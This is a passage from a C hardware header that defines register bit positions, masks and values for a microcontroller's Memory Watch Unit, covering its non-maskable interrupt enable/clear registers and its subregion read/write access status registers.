#define MWU_NMIENSET_PREGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_PREGION0WA_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable non-maskable interrupt for REGION[3].RA event */
#define MWU_NMIENSET_REGION3RA_Pos (7UL) /*!< Position of REGION3RA field. */
#define MWU_NMIENSET_REGION3RA_Msk (0x1UL << MWU_NMIENSET_REGION3RA_Pos) /*!< Bit mask of REGION3RA field. */
#define MWU_NMIENSET_REGION3RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION3RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION3RA_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable non-maskable interrupt for REGION[3].WA event */
#define MWU_NMIENSET_REGION3WA_Pos (6UL) /*!< Position of REGION3WA field. */
#define MWU_NMIENSET_REGION3WA_Msk (0x1UL << MWU_NMIENSET_REGION3WA_Pos) /*!< Bit mask of REGION3WA field. */
#define MWU_NMIENSET_REGION3WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION3WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION3WA_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable non-maskable interrupt for REGION[2].RA event */
#define MWU_NMIENSET_REGION2RA_Pos (5UL) /*!< Position of REGION2RA field. */
#define MWU_NMIENSET_REGION2RA_Msk (0x1UL << MWU_NMIENSET_REGION2RA_Pos) /*!< Bit mask of REGION2RA field. */
#define MWU_NMIENSET_REGION2RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION2RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION2RA_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable non-maskable interrupt for REGION[2].WA event */
#define MWU_NMIENSET_REGION2WA_Pos (4UL) /*!< Position of REGION2WA field. */
#define MWU_NMIENSET_REGION2WA_Msk (0x1UL << MWU_NMIENSET_REGION2WA_Pos) /*!< Bit mask of REGION2WA field. */
#define MWU_NMIENSET_REGION2WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION2WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION2WA_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable non-maskable interrupt for REGION[1].RA event */
#define MWU_NMIENSET_REGION1RA_Pos (3UL) /*!< Position of REGION1RA field. */
#define MWU_NMIENSET_REGION1RA_Msk (0x1UL << MWU_NMIENSET_REGION1RA_Pos) /*!< Bit mask of REGION1RA field. */
#define MWU_NMIENSET_REGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION1RA_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable non-maskable interrupt for REGION[1].WA event */
#define MWU_NMIENSET_REGION1WA_Pos (2UL) /*!< Position of REGION1WA field. */
#define MWU_NMIENSET_REGION1WA_Msk (0x1UL << MWU_NMIENSET_REGION1WA_Pos) /*!< Bit mask of REGION1WA field. */
#define MWU_NMIENSET_REGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION1WA_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable non-maskable interrupt for REGION[0].RA event */
#define MWU_NMIENSET_REGION0RA_Pos (1UL) /*!< Position of REGION0RA field. */
#define MWU_NMIENSET_REGION0RA_Msk (0x1UL << MWU_NMIENSET_REGION0RA_Pos) /*!< Bit mask of REGION0RA field. */
#define MWU_NMIENSET_REGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION0RA_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable non-maskable interrupt for REGION[0].WA event */
#define MWU_NMIENSET_REGION0WA_Pos (0UL) /*!< Position of REGION0WA field. */
#define MWU_NMIENSET_REGION0WA_Msk (0x1UL << MWU_NMIENSET_REGION0WA_Pos) /*!< Bit mask of REGION0WA field. */
#define MWU_NMIENSET_REGION0WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_REGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_REGION0WA_Set (1UL) /*!< Enable */
/* Register: MWU_NMIENCLR */
/* Description: Disable non-maskable interrupt */
/* Bit 27 : Write '1' to Disable non-maskable interrupt for PREGION[1].RA event */
#define MWU_NMIENCLR_PREGION1RA_Pos (27UL) /*!< Position of PREGION1RA field. */
#define MWU_NMIENCLR_PREGION1RA_Msk (0x1UL << MWU_NMIENCLR_PREGION1RA_Pos) /*!< Bit mask of PREGION1RA field. */
#define MWU_NMIENCLR_PREGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_PREGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_PREGION1RA_Clear (1UL) /*!< Disable */
/* Bit 26 : Write '1' to Disable non-maskable interrupt for PREGION[1].WA event */
#define MWU_NMIENCLR_PREGION1WA_Pos (26UL) /*!< Position of PREGION1WA field. */
#define MWU_NMIENCLR_PREGION1WA_Msk (0x1UL << MWU_NMIENCLR_PREGION1WA_Pos) /*!< Bit mask of PREGION1WA field. */
#define MWU_NMIENCLR_PREGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_PREGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_PREGION1WA_Clear (1UL) /*!< Disable */
/* Bit 25 : Write '1' to Disable non-maskable interrupt for PREGION[0].RA event */
#define MWU_NMIENCLR_PREGION0RA_Pos (25UL) /*!< Position of PREGION0RA field. */
#define MWU_NMIENCLR_PREGION0RA_Msk (0x1UL << MWU_NMIENCLR_PREGION0RA_Pos) /*!< Bit mask of PREGION0RA field. */
#define MWU_NMIENCLR_PREGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_PREGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_PREGION0RA_Clear (1UL) /*!< Disable */
/* Bit 24 : Write '1' to Disable non-maskable interrupt for PREGION[0].WA event */
#define MWU_NMIENCLR_PREGION0WA_Pos (24UL) /*!< Position of PREGION0WA field. */
#define MWU_NMIENCLR_PREGION0WA_Msk (0x1UL << MWU_NMIENCLR_PREGION0WA_Pos) /*!< Bit mask of PREGION0WA field. */
#define MWU_NMIENCLR_PREGION0WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_PREGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_PREGION0WA_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable non-maskable interrupt for REGION[3].RA event */
#define MWU_NMIENCLR_REGION3RA_Pos (7UL) /*!< Position of REGION3RA field. */
#define MWU_NMIENCLR_REGION3RA_Msk (0x1UL << MWU_NMIENCLR_REGION3RA_Pos) /*!< Bit mask of REGION3RA field. */
#define MWU_NMIENCLR_REGION3RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION3RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION3RA_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable non-maskable interrupt for REGION[3].WA event */
#define MWU_NMIENCLR_REGION3WA_Pos (6UL) /*!< Position of REGION3WA field. */
#define MWU_NMIENCLR_REGION3WA_Msk (0x1UL << MWU_NMIENCLR_REGION3WA_Pos) /*!< Bit mask of REGION3WA field. */
#define MWU_NMIENCLR_REGION3WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION3WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION3WA_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable non-maskable interrupt for REGION[2].RA event */
#define MWU_NMIENCLR_REGION2RA_Pos (5UL) /*!< Position of REGION2RA field. */
#define MWU_NMIENCLR_REGION2RA_Msk (0x1UL << MWU_NMIENCLR_REGION2RA_Pos) /*!< Bit mask of REGION2RA field. */
#define MWU_NMIENCLR_REGION2RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION2RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION2RA_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable non-maskable interrupt for REGION[2].WA event */
#define MWU_NMIENCLR_REGION2WA_Pos (4UL) /*!< Position of REGION2WA field. */
#define MWU_NMIENCLR_REGION2WA_Msk (0x1UL << MWU_NMIENCLR_REGION2WA_Pos) /*!< Bit mask of REGION2WA field. */
#define MWU_NMIENCLR_REGION2WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION2WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION2WA_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable non-maskable interrupt for REGION[1].RA event */
#define MWU_NMIENCLR_REGION1RA_Pos (3UL) /*!< Position of REGION1RA field. */
#define MWU_NMIENCLR_REGION1RA_Msk (0x1UL << MWU_NMIENCLR_REGION1RA_Pos) /*!< Bit mask of REGION1RA field. */
#define MWU_NMIENCLR_REGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION1RA_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable non-maskable interrupt for REGION[1].WA event */
#define MWU_NMIENCLR_REGION1WA_Pos (2UL) /*!< Position of REGION1WA field. */
#define MWU_NMIENCLR_REGION1WA_Msk (0x1UL << MWU_NMIENCLR_REGION1WA_Pos) /*!< Bit mask of REGION1WA field. */
#define MWU_NMIENCLR_REGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION1WA_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable non-maskable interrupt for REGION[0].RA event */
#define MWU_NMIENCLR_REGION0RA_Pos (1UL) /*!< Position of REGION0RA field. */
#define MWU_NMIENCLR_REGION0RA_Msk (0x1UL << MWU_NMIENCLR_REGION0RA_Pos) /*!< Bit mask of REGION0RA field. */
#define MWU_NMIENCLR_REGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION0RA_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable non-maskable interrupt for REGION[0].WA event */
#define MWU_NMIENCLR_REGION0WA_Pos (0UL) /*!< Position of REGION0WA field. */
#define MWU_NMIENCLR_REGION0WA_Msk (0x1UL << MWU_NMIENCLR_REGION0WA_Pos) /*!< Bit mask of REGION0WA field. */
#define MWU_NMIENCLR_REGION0WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENCLR_REGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENCLR_REGION0WA_Clear (1UL) /*!< Disable */
/* Register: MWU_PERREGION_SUBSTATWA */
/* Description: Description cluster[0]: Source of event/interrupt in region 0, write access detected while corresponding subregion was enabled for watching */
/* Bit 31 : Subregion 31 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR31_Pos (31UL) /*!< Position of SR31 field. */
#define MWU_PERREGION_SUBSTATWA_SR31_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR31_Pos) /*!< Bit mask of SR31 field. */
#define MWU_PERREGION_SUBSTATWA_SR31_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR31_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 30 : Subregion 30 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR30_Pos (30UL) /*!< Position of SR30 field. */
#define MWU_PERREGION_SUBSTATWA_SR30_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR30_Pos) /*!< Bit mask of SR30 field. */
#define MWU_PERREGION_SUBSTATWA_SR30_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR30_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 29 : Subregion 29 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR29_Pos (29UL) /*!< Position of SR29 field. */
#define MWU_PERREGION_SUBSTATWA_SR29_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR29_Pos) /*!< Bit mask of SR29 field. */
#define MWU_PERREGION_SUBSTATWA_SR29_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR29_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 28 : Subregion 28 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR28_Pos (28UL) /*!< Position of SR28 field. */
#define MWU_PERREGION_SUBSTATWA_SR28_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR28_Pos) /*!< Bit mask of SR28 field. */
#define MWU_PERREGION_SUBSTATWA_SR28_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR28_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 27 : Subregion 27 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR27_Pos (27UL) /*!< Position of SR27 field. */
#define MWU_PERREGION_SUBSTATWA_SR27_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR27_Pos) /*!< Bit mask of SR27 field. */
#define MWU_PERREGION_SUBSTATWA_SR27_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR27_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 26 : Subregion 26 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR26_Pos (26UL) /*!< Position of SR26 field. */
#define MWU_PERREGION_SUBSTATWA_SR26_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR26_Pos) /*!< Bit mask of SR26 field. */
#define MWU_PERREGION_SUBSTATWA_SR26_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR26_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 25 : Subregion 25 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR25_Pos (25UL) /*!< Position of SR25 field. */
#define MWU_PERREGION_SUBSTATWA_SR25_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR25_Pos) /*!< Bit mask of SR25 field. */
#define MWU_PERREGION_SUBSTATWA_SR25_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR25_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 24 : Subregion 24 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR24_Pos (24UL) /*!< Position of SR24 field. */
#define MWU_PERREGION_SUBSTATWA_SR24_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR24_Pos) /*!< Bit mask of SR24 field. */
#define MWU_PERREGION_SUBSTATWA_SR24_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR24_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 23 : Subregion 23 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR23_Pos (23UL) /*!< Position of SR23 field. */
#define MWU_PERREGION_SUBSTATWA_SR23_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR23_Pos) /*!< Bit mask of SR23 field. */
#define MWU_PERREGION_SUBSTATWA_SR23_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR23_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 22 : Subregion 22 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR22_Pos (22UL) /*!< Position of SR22 field. */
#define MWU_PERREGION_SUBSTATWA_SR22_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR22_Pos) /*!< Bit mask of SR22 field. */
#define MWU_PERREGION_SUBSTATWA_SR22_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR22_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 21 : Subregion 21 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR21_Pos (21UL) /*!< Position of SR21 field. */
#define MWU_PERREGION_SUBSTATWA_SR21_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR21_Pos) /*!< Bit mask of SR21 field. */
#define MWU_PERREGION_SUBSTATWA_SR21_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR21_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 20 : Subregion 20 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR20_Pos (20UL) /*!< Position of SR20 field. */
#define MWU_PERREGION_SUBSTATWA_SR20_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR20_Pos) /*!< Bit mask of SR20 field. */
#define MWU_PERREGION_SUBSTATWA_SR20_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR20_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 19 : Subregion 19 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR19_Pos (19UL) /*!< Position of SR19 field. */
#define MWU_PERREGION_SUBSTATWA_SR19_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR19_Pos) /*!< Bit mask of SR19 field. */
#define MWU_PERREGION_SUBSTATWA_SR19_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR19_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 18 : Subregion 18 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR18_Pos (18UL) /*!< Position of SR18 field. */
#define MWU_PERREGION_SUBSTATWA_SR18_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR18_Pos) /*!< Bit mask of SR18 field. */
#define MWU_PERREGION_SUBSTATWA_SR18_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR18_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 17 : Subregion 17 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR17_Pos (17UL) /*!< Position of SR17 field. */
#define MWU_PERREGION_SUBSTATWA_SR17_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR17_Pos) /*!< Bit mask of SR17 field. */
#define MWU_PERREGION_SUBSTATWA_SR17_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR17_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 16 : Subregion 16 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR16_Pos (16UL) /*!< Position of SR16 field. */
#define MWU_PERREGION_SUBSTATWA_SR16_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR16_Pos) /*!< Bit mask of SR16 field. */
#define MWU_PERREGION_SUBSTATWA_SR16_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR16_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 15 : Subregion 15 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR15_Pos (15UL) /*!< Position of SR15 field. */
#define MWU_PERREGION_SUBSTATWA_SR15_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR15_Pos) /*!< Bit mask of SR15 field. */
#define MWU_PERREGION_SUBSTATWA_SR15_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR15_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 14 : Subregion 14 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR14_Pos (14UL) /*!< Position of SR14 field. */
#define MWU_PERREGION_SUBSTATWA_SR14_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR14_Pos) /*!< Bit mask of SR14 field. */
#define MWU_PERREGION_SUBSTATWA_SR14_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR14_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 13 : Subregion 13 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR13_Pos (13UL) /*!< Position of SR13 field. */
#define MWU_PERREGION_SUBSTATWA_SR13_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR13_Pos) /*!< Bit mask of SR13 field. */
#define MWU_PERREGION_SUBSTATWA_SR13_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR13_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 12 : Subregion 12 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR12_Pos (12UL) /*!< Position of SR12 field. */
#define MWU_PERREGION_SUBSTATWA_SR12_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR12_Pos) /*!< Bit mask of SR12 field. */
#define MWU_PERREGION_SUBSTATWA_SR12_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR12_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 11 : Subregion 11 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR11_Pos (11UL) /*!< Position of SR11 field. */
#define MWU_PERREGION_SUBSTATWA_SR11_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR11_Pos) /*!< Bit mask of SR11 field. */
#define MWU_PERREGION_SUBSTATWA_SR11_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR11_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 10 : Subregion 10 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR10_Pos (10UL) /*!< Position of SR10 field. */
#define MWU_PERREGION_SUBSTATWA_SR10_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR10_Pos) /*!< Bit mask of SR10 field. */
#define MWU_PERREGION_SUBSTATWA_SR10_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR10_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 9 : Subregion 9 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR9_Pos (9UL) /*!< Position of SR9 field. */
#define MWU_PERREGION_SUBSTATWA_SR9_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR9_Pos) /*!< Bit mask of SR9 field. */
#define MWU_PERREGION_SUBSTATWA_SR9_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR9_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 8 : Subregion 8 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR8_Pos (8UL) /*!< Position of SR8 field. */
#define MWU_PERREGION_SUBSTATWA_SR8_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR8_Pos) /*!< Bit mask of SR8 field. */
#define MWU_PERREGION_SUBSTATWA_SR8_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR8_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 7 : Subregion 7 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR7_Pos (7UL) /*!< Position of SR7 field. */
#define MWU_PERREGION_SUBSTATWA_SR7_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR7_Pos) /*!< Bit mask of SR7 field. */
#define MWU_PERREGION_SUBSTATWA_SR7_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR7_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 6 : Subregion 6 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR6_Pos (6UL) /*!< Position of SR6 field. */
#define MWU_PERREGION_SUBSTATWA_SR6_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR6_Pos) /*!< Bit mask of SR6 field. */
#define MWU_PERREGION_SUBSTATWA_SR6_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR6_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 5 : Subregion 5 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR5_Pos (5UL) /*!< Position of SR5 field. */
#define MWU_PERREGION_SUBSTATWA_SR5_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR5_Pos) /*!< Bit mask of SR5 field. */
#define MWU_PERREGION_SUBSTATWA_SR5_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR5_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 4 : Subregion 4 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR4_Pos (4UL) /*!< Position of SR4 field. */
#define MWU_PERREGION_SUBSTATWA_SR4_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR4_Pos) /*!< Bit mask of SR4 field. */
#define MWU_PERREGION_SUBSTATWA_SR4_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR4_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 3 : Subregion 3 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR3_Pos (3UL) /*!< Position of SR3 field. */
#define MWU_PERREGION_SUBSTATWA_SR3_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR3_Pos) /*!< Bit mask of SR3 field. */
#define MWU_PERREGION_SUBSTATWA_SR3_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR3_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 2 : Subregion 2 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR2_Pos (2UL) /*!< Position of SR2 field. */
#define MWU_PERREGION_SUBSTATWA_SR2_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR2_Pos) /*!< Bit mask of SR2 field. */
#define MWU_PERREGION_SUBSTATWA_SR2_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR2_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 1 : Subregion 1 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR1_Pos (1UL) /*!< Position of SR1 field. */
#define MWU_PERREGION_SUBSTATWA_SR1_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR1_Pos) /*!< Bit mask of SR1 field. */
#define MWU_PERREGION_SUBSTATWA_SR1_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR1_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Bit 0 : Subregion 0 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATWA_SR0_Pos (0UL) /*!< Position of SR0 field. */
#define MWU_PERREGION_SUBSTATWA_SR0_Msk (0x1UL << MWU_PERREGION_SUBSTATWA_SR0_Pos) /*!< Bit mask of SR0 field. */
#define MWU_PERREGION_SUBSTATWA_SR0_NoAccess (0UL) /*!< No write access occurred in this subregion */
#define MWU_PERREGION_SUBSTATWA_SR0_Access (1UL) /*!< Write access(es) occurred in this subregion */
/* Register: MWU_PERREGION_SUBSTATRA */
/* Description: Description cluster[0]: Source of event/interrupt in region 0, read access detected while corresponding subregion was enabled for watching */
/* Bit 31 : Subregion 31 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR31_Pos (31UL) /*!< Position of SR31 field. */
#define MWU_PERREGION_SUBSTATRA_SR31_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR31_Pos) /*!< Bit mask of SR31 field. */
#define MWU_PERREGION_SUBSTATRA_SR31_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR31_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 30 : Subregion 30 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR30_Pos (30UL) /*!< Position of SR30 field. */
#define MWU_PERREGION_SUBSTATRA_SR30_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR30_Pos) /*!< Bit mask of SR30 field. */
#define MWU_PERREGION_SUBSTATRA_SR30_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR30_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 29 : Subregion 29 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR29_Pos (29UL) /*!< Position of SR29 field. */
